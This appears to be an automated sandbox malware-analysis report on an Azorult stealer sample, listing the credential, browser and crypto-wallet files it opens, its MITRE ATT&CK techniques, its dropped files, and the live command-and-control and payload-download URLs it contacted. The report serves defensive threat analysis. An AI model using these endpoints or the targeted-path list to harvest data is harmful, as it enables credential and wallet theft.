Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.SecureBoot.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.SecureBoot.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0012~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\UEV\Microsoft.Uev.Commands.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package00~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\WindowsErrorReporting\Microsoft.WindowsErrorReporting.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\24010-KAPSON.exe

0_2_004035D8

Stealing of Sensitive Information

Yara detected Azorult

Source: Yara match	File source: 00000005.00000002.2588292127.0000000020980000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2589276860.0000000021BA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: msiexec.exe PID: 6204, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: msiexec.exe, 00000005.00000002.2575032660.0000000004FCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: bC:\Users\user\AppData\Roaming\Electrum\wallets\lectrum.dattrum.data\\ZxcvbnData\Login Data
Source: msiexec.exe, 00000005.00000002.2575032660.0000000004FCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: bC:\Users\user\AppData\Roaming\Electrum\wallets\lectrum.dattrum.data\\ZxcvbnData\Login Data
Source: msiexec.exe, 00000005.00000002.2575032660.0000000004FCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: jC:\Users\user\AppData\Roaming\Jaxx\Local Storage\\*
Source: msiexec.exe, 00000005.00000002.2588545524.0000000020EC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %APPDATA%\Exodus\
Source: msiexec.exe, 00000005.00000002.2575032660.0000000004FCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: jC:\Users\user\AppData\Roaming\Jaxx\Local Storage\\*
Source: msiexec.exe, 00000005.00000002.2588545524.0000000020EC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %APPDATA%\Ethereum\keystore\
Source: msiexec.exe, 00000005.00000002.2575032660.0000000004FCC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: XC:\Users\user\AppData\Roaming\Exodus Eden\tore\ts\saging Subsystem\Profiles\Outlookn Data
Source: msiexec.exe, 00000005.00000002.2588545524.0000000020EC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %APPDATA%\Ethereum\keystore\
Source: powershell.exe, 00000002.00000002.2370195710.0000000007D10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: sqlcolumnencryptionkeystoreprovider
Source: msiexec.exe, 00000005.00000002.2588545524.0000000020EC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Electrum-LTC\wallets\

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\msiexec.exe

File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\ElectrumG\wallets\	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-btcp\wallets\	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\Exodus Eden\	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\Jaxx\Local Storage\	Jump to behavior

Tries to steal Instant Messenger accounts or passwords

Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\.purple\accounts.xml			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	File opened: C:\Users\user\AppData\Roaming\.purple\accounts.xml			Jump to behavior

Source: Yara match	File source: 5.2.msiexec.exe.21784491.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.msiexec.exe.217efbe2.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.msiexec.exe.217624a4.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: msiexec.exe PID: 6204, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Obfuscated Files or Information	1 OS Credential Dumping	2 File and Directory Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	2 PowerShell	Boot or Logon Initialization Scripts	1 Access Token Manipulation	1 Software Packing	1 Credentials in Registry	14 System Information Discovery	Remote Desktop Protocol	3 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	311 Process Injection	1 Timestomp	1 Credentials In Files	11 Security Software Discovery	SMB/Windows Admin Shares	1 Clipboard Data	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	21 Virtualization/Sandbox Evasion	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	21 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	311 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
24010-KAPSON.exe	25%	Virustotal		Browse
24010-KAPSON.exe	50%	ReversingLabs	Win32.Trojan.Leonem

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-console-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-datetime-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-debug-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-errorhandling-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-file-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-file-l1-2-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-file-l2-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-handle-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-heap-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-interlocked-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-libraryloader-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-localization-l1-2-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-memory-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-namedpipe-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-processenvironment-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-processthreads-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-processthreads-l1-1-1.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-profile-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-rtlsupport-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-string-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-synch-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-synch-l1-2-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-sysinfo-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-timezone-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-util-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-crt-conio-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-crt-convert-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-crt-environment-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-crt-filesystem-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-crt-heap-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-crt-locale-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-crt-math-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-crt-multibyte-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-crt-private-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-crt-process-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-crt-runtime-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-crt-stdio-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-crt-string-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-crt-time-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-crt-utility-l1-1-0.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\B388C266\freebl3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\B388C266\mozglue.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\B388C266\msvcp140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\B388C266\nss3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\B388C266\nssdbm3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\B388C266\softokn3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\B388C266\ucrtbase.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\B388C266\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\langskggedes\Udbrudt\forfreriske\24010-KAPSON.exe	50%	ReversingLabs	Win32.Trojan.Leonem
C:\Users\user\AppData\Local\Temp\nspB9D.tmp\nsExec.dll	0%	ReversingLabs

Source	Detection	Scanner	Label
http://b2csa.icu/PL341/index.phpn	0%	Avira URL Cloud	safe
http://b2csa.icu/PL341/index.php	0%	Avira URL Cloud	safe
http://electricsuitcase.net/wp-includes/block-bindings/wTryLAihFvcVmUK202.bin	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
electricsuitcase.net	107.151.162.135	true	false		unknown
b2csa.icu	104.21.32.1	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://b2csa.icu/PL341/index.php	true	Avira URL Cloud: safe	unknown
http://electricsuitcase.net/wp-includes/block-bindings/wTryLAihFvcVmUK202.bin	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://nuget.org/NuGet.exe	powershell.exe, 00000002.00000002.2363810810.0000000006216000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/winsvr-2022-pshelp	powershell.exe, 00000002.00000002.2360314283.0000000005306000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.mozilla.com/en-US/blocklist/	mozglue.dll.5.dr	false		high
http://b2csa.icu/PL341/index.phpn	msiexec.exe, 00000005.00000002.2575032660.0000000004F8A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.thawte.com/ThawteTimestampingCA.crl0	msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.5.dr, softokn3.dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr, nssdbm3.dll.5.dr	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000002.00000002.2360314283.0000000005306000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000002.00000002.2360314283.0000000005306000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000002.00000002.2360314283.0000000005306000.00000004.00000800.00020000.00000000.sdmp	false		high
https://aka.ms/pscore6lBcq	powershell.exe, 00000002.00000002.2360314283.00000000051B1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.thawte.com0	msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.5.dr, softokn3.dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr, nssdbm3.dll.5.dr	false		high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000002.00000002.2360314283.0000000005306000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 00000002.00000002.2363810810.0000000006216000.00000004.00000800.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000002.00000002.2363810810.0000000006216000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 00000002.00000002.2363810810.0000000006216000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.mozilla.com0	msiexec.exe, 00000005.00000002.2588874324.0000000021750000.00000004.00001000.00020000.00000000.sdmp, nss3.dll.5.dr, softokn3.dll.5.dr, freebl3.dll.5.dr, mozglue.dll.5.dr, nssdbm3.dll.5.dr	false		high
https://contoso.com/Icon	powershell.exe, 00000002.00000002.2363810810.0000000006216000.00000004.00000800.00020000.00000000.sdmp	false		high
http://nsis.sf.net/NSIS_ErrorError	24010-KAPSON.exe, 24010-KAPSON.exe.2.dr	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000002.00000002.2360314283.00000000051B1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 00000002.00000002.2360314283.0000000005306000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
107.151.162.135	electricsuitcase.net	United States		21859	ZNETUS	false
104.21.32.1	b2csa.icu	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1589867
Start date and time:	2025-01-13 09:20:48 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 9s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	24010-KAPSON.exe
Detection:	MAL
Classification:	mal100.phis.troj.spyw.evad.winEXE@11/63@2/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 97% Number of executed functions: 84 Number of non-executed functions: 52
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 13.107.246.45, 20.12.23.50, 23.1.237.91
Excluded domains from analysis (whitelisted): www.bing.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:21:40	API Interceptor	35x Sleep call for process: powershell.exe modified
09:21:31	Task Scheduler	Run new task: {BC065452-1BF5-4111-89E9-E363CBD171E7} path:

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.32.1	bIcqeSVPW6.exe	Get hash	malicious	FormBook	Browse	www.rafconstrutora.online/sa6l/
	BalphRTkPS.exe	Get hash	malicious	FormBook	Browse	www.aziziyeescortg.xyz/2pcx/
	25IvlOVEB1.exe	Get hash	malicious	FormBook	Browse	www.masterqq.pro/3vdc/
	QUOTATION#050125.exe	Get hash	malicious	FormBook	Browse	www.mzkd6gp5.top/3u0p/
	SH8ZyOWNi2.exe	Get hash	malicious	CMSBrute	Browse	redroomaudio.com/administrator/index.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ZNETUS	https://hmflowcontrols.com/ch/CHFINAL/50477/	Get hash	malicious	Unknown	Browse	23.236.112.179
	http://www.telegramdd.org/	Get hash	malicious	Unknown	Browse	199.91.74.208
	http://www.telegramii.org/	Get hash	malicious	Unknown	Browse	199.91.74.209
	http://m.escritoresunidos.com/	Get hash	malicious	Unknown	Browse	199.91.74.209
	https://www.xietaoz.com/	Get hash	malicious	Unknown	Browse	199.91.74.185
	http://www.telegramhj.org/	Get hash	malicious	Unknown	Browse	199.91.74.208
	http://www.telegram-gd.com/	Get hash	malicious	Unknown	Browse	199.91.74.208
	https://whatsapp-cy.com/	Get hash	malicious	Unknown	Browse	199.91.74.184
	http://www.telegram-xp.com/	Get hash	malicious	Unknown	Browse	199.91.74.208
	https://mrohailkhan.com/energyaustralia/auth/auhs1/	Get hash	malicious	Unknown	Browse	23.236.112.179
CLOUDFLARENETUS	https://file2-cdn.creality.com/file/2e068bd90e233501c8036fb25c76e092/CrealityScan_win_3.3.4-20241030.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	g4.elf	Get hash	malicious	Unknown	Browse	1.1.1.1
	msit.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.6.116
	tesr.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.90.18
	WSLRT.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.134.197
	msit.msi	Get hash	malicious	LummaC Stealer	Browse	172.67.134.197
	Shipping Docs Waybill No 2009 xxxx 351.exe	Get hash	malicious	AgentTesla	Browse	104.26.13.205
	trow.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://encryption-deme-group.lomiraxen.ru/PdoodjcL/#Mvercauteren.william@deme-group.com	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://link.mail.beehiiv.com/ss/c/u001.dSnm3kaGd0BkNqLYPjeMfxWXllAYaBQ5sAn4OVD0j89GQGPZtwQlLugE_8c0wQMKfkpy5_wJ66BvE1Ognfzf5MlQMAeZ1qYs5mgwUBu3TAc6279Q43ISHz-HkVRC08yeDA4QvKWsqLTI1us9a0eXx18qeAibsZhjMMPvES-iG2zoVABKcwKIVWyx95VTVcFMSh6AEN3OCUfP_rXFvjKRbIPMuhn_dqYr8yUBKJvhhlJR9FhTpZPAULxzMbsYWp8k/4cu/JfECY1HwRl-ipvrNOktVcw/h23/h001.ibQl2N4tDD79TTzErix_sFWEGLTTuM6dTVMrTg3y5Dk	Get hash	malicious	Unknown	Browse	172.67.40.50

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-console-l1-1-0.dll	962Zrwh5bU.exe	Get hash	malicious	Azorult	Browse
	jd4t3R7hOq.exe	Get hash	malicious	Azorult	Browse
	3861227PDF.exe	Get hash	malicious	AZORult	Browse
	WC10SCPMaX.exe	Get hash	malicious	Azorult, GuLoader	Browse
	7000091945.xlsx.exe	Get hash	malicious	Azorult, GuLoader	Browse
	Dekont#400577_89008_96634.exe	Get hash	malicious	Azorult, GuLoader	Browse
	No. 1349240400713.exe	Get hash	malicious	Azorult, GuLoader	Browse
	PRICE ENQUIRY - RFQ 6000073650.exe	Get hash	malicious	Azorult, GuLoader	Browse
	Payment.cmd	Get hash	malicious	Azorult, DBatLoader	Browse
	Order160311_Reference.hta	Get hash	malicious	Azorult	Browse
C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-datetime-l1-1-0.dll	962Zrwh5bU.exe	Get hash	malicious	Azorult	Browse
	jd4t3R7hOq.exe	Get hash	malicious	Azorult	Browse
	3861227PDF.exe	Get hash	malicious	AZORult	Browse
	WC10SCPMaX.exe	Get hash	malicious	Azorult, GuLoader	Browse
	7000091945.xlsx.exe	Get hash	malicious	Azorult, GuLoader	Browse
	Dekont#400577_89008_96634.exe	Get hash	malicious	Azorult, GuLoader	Browse
	No. 1349240400713.exe	Get hash	malicious	Azorult, GuLoader	Browse
	PRICE ENQUIRY - RFQ 6000073650.exe	Get hash	malicious	Azorult, GuLoader	Browse
	Payment.cmd	Get hash	malicious	Azorult, DBatLoader	Browse
	Order160311_Reference.hta	Get hash	malicious	Azorult	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	53158
Entropy (8bit):	5.062687652912555
Encrypted:	false
SSDEEP:	1536:N8Z+z30pPV3CNBQkj2Ph4iUx7aVKflJnqvPqdKgfSRIOdBlzStAHk4NKeCMiYoLs:iZ+z30pPV3CNBQkj2PqiU7aVKflJnqvF
MD5:	5D430F1344CE89737902AEC47C61C930
